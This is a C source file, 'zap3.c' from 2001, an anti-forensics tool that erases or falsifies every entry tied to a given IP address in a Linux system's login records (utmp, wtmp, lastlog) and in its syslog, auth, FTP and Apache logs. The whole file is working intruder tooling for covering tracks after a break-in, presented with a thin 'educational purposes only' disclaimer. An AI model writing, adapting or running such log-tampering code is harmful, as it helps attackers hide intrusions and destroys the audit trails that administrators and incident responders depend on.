/*########################################################################
*####  Zap3.c cleans WTMP, UTMP, lastlog, messages, secure, ##############
*####  xferlog, httpd.access_log, httpd.error_log.          ##############
*####  Check your log file and edit the source accordingly. ##############
 ####      Tested in Mandrake 7.2 and 8.0                   ##############
*#########################################################################
*#### This program is for educational purposes only         ############## 
*####     I'm not responsible any  damages of this program  ##############
*####            Use it with your own risk                  ##############
*#########################################################################
*####  I change the user based cleaning method              ##############  
*####    to host based method. Also zap2.c cleans           ##############
*####        last entry of wtmp file,i change               ##############
*####           this to clean all entries.                  ##############
*######################################################################### 
        
               Copyright (c) darkloop .  All rights reserved.  
        This software is licensed pursuant to the GNU General Public License 
        version 2 or later versions [or GNU Lesser General Public License],
	a copy of which may be viewed at www.gnu.org/copyleft/gpl.html.

*#########################################################################
*####   Please inform me about your comments.               ##############
*####   I'm new to c programmin so feel free to flame :)    ##############
*####            dark_loop@linuxmail.org                     ##############  
*####            www.solitude2000.f2s.com                   ##############
*####              15.10.2001                             ##############
*#########################################################################
  
            



*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#include <string.h>
#define WTMP_NAME       "/var/log/wtmp"      
#define UTMP_NAME       "/var/run/utmp"     
#define LASTLOG_NAME    "/var/log/lastlog"
#define MESSAGES        "/var/log/messages"
#define SECURE          "/var/log/secure"
#define SYSLOG          "/var/log/syslog"
#define XFERLOG         "/var/log/xferlog"
#define AUTH            "/var/log/auth.log"
#define HTTPDA          "/var/log/httpd/access_log"
#define HTTPDE          "/var/log/httpd/error_log"         
#define MAX           1024*5120
#define MIN           1024              
void clean_logs(char *host,char *fake);		   
void clean_utmp(char *host,char *fake);
void clean_wtmp(char *host,char *fake);
void clean_lastlog(char *host,char *fake);
int pos(char *source,char *pattern);
void str_replace(char *source,char *pattern,char *replace);

main(int argc,char **argv)
{
    time_t t1,t2;
    if (argc<2) {
           printf("missing argument\n");
	     printf("usage :./zap <ip>\n");
           exit(1);
    } else {
	     time(&t1);
             clean_utmp(argv[1],argv[2]);
             clean_wtmp(argv[1],argv[2]);
             clean_lastlog(argv[1],argv[2]);
	     clean_logs(argv[1],argv[2]);
	     time(&t2);
	     printf("the process time is %d ms\n",t2-t1);
    }
}

void clean_utmp(char *host,char *fake)
{
     int f;
     struct utmp utmp_ent;
     if ((f=open(UTMP_NAME,O_RDWR))<0) {
	     perror("open");
	     close(f);
        }
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
	       if(fake) {
		       memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
	       }else {
                 memset(&utmp_ent,0,sizeof( utmp_ent ));
		 }
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
     printf("\tcleaning utmp file finished\n\t");
  
}
 
void clean_wtmp(char *host,char *fake)
{
    struct utmp utmp_ent;
    int f;
        if ((f=open(WTMP_NAME,O_RDWR))<0) {
		perror("open");
		close(f);
         }      
     while(read (f, &utmp_ent, sizeof (struct utmp))>0) {
          if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
		  if(fake) {
			  memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
		  }else {
               memset(&utmp_ent,0,sizeof(struct utmp ));
		  }
               lseek(f,-(sizeof(struct utmp)),SEEK_CUR);
               write (f, &utmp_ent, sizeof( utmp_ent ));
            } 
        }
     close(f);
     printf("cleaning wtmp finished\n\t");
}
void clean_lastlog(char *host,char *fake)
{   
    int f;
    struct lastlog newll;
        if ((f=open(LASTLOG_NAME, O_RDWR)) < 0) {
		perror("open");
		close(f);
         } else {
               while(read(f,&newll,sizeof(struct lastlog)) > 0 ) { 
                 if(!strncmp(newll.ll_host,host,strlen(host))) {
			 if(fake) {
				 memcpy(newll.ll_host,fake,sizeof(newll.ll_host));
			 }else {
                   memset(&newll,0,sizeof( newll ));
			 }
                   lseek(f, -( sizeof (struct lastlog)),SEEK_CUR);
                   write(f,&newll, sizeof( newll ));
               }
          }
        close(f);
      }
    printf("cleaning lastlog finished\n\t"); 
}
void clean_logs(char *host,char *fake)
{
	int i;
	char buffer[MIN],buff[MAX];
	FILE *fin,*fout;
	char *logs[] = {MESSAGES, SECURE,SYSLOG, XFERLOG, AUTH, HTTPDA, HTTPDE} ;
        char *modlogs[] = {"modMESSAGES", "modSECURE","modSYSLOG", "modXFERLOG",
		"modAUTH","modHTTPDA","modHTTPDE"} ;
	
     	i=0;
	while(i<7) {
		printf("cleaning %s\n\t",logs[i]);
                strcpy(buff,"");
		if((fin=fopen(logs[i],"r"))==NULL 
				|| (fout=fopen(modlogs[i],"w"))==NULL) {
			perror("fopen");
			fclose(fin);
		        i++;
		}
        
		while(fgets(buffer,MIN,fin) !=NULL) {
			   if(fake) { 
		                      if (strstr(buffer,host) ) {
			                 str_replace(buffer,host,fake);
			                 fputs(buffer,fout); 
                                      }else
					      fputs(buffer,fout);
			   }else {
				   if(!strstr(buffer,host))
					   fputs(buffer,fout);
			   }
		}
	    fclose(fin);
	    fclose(fout);
            if((fout=fopen(logs[i],"w"))==NULL 
	                   || (fin=fopen(modlogs[i],"r"))==NULL) {
		    perror("fopen");
		    fclose(fout);
	    }
	    while((fgets(buffer,MAX,fin)) !=NULL) {
		    fputs(buffer,fout);
	    }
            fclose(fin);           
            fclose(fout);
	    unlink(modlogs[i]);
            i++;
	}
	printf("cleaning logs file finished\n\t"); 
}
void str_replace(char *source,char *pattern,char *replace)
{
      char buffer[MIN];
      char part[MIN];
      int n;
      while((n=pos(source,pattern))>=0) {
                  strcpy(buffer,&source[n+strlen(pattern)]);
                  strcpy(&source[n],replace);
                  strncpy(part,source,n+strlen(replace));
                  part[n+strlen(replace)]='\0';
                  strcat(part,buffer);
                  strcpy(source,part);
                  n=pos(source,pattern);
             }  
}
int pos(char *source,char *pattern)
{
    char substring[MIN];
    int i=0,found=0,position;
    int pattern_len=strlen(pattern);
    while(!found && i<= strlen(source) - pattern_len) {
         strncpy(substring,&source[i],pattern_len);
         substring[pattern_len]='\0';
         if(strcmp(substring,pattern)==0)
              found=1;
         else
             ++i;
        }
     if(found)
           position=i;
      else 
           position=-1;
      return(position);
}
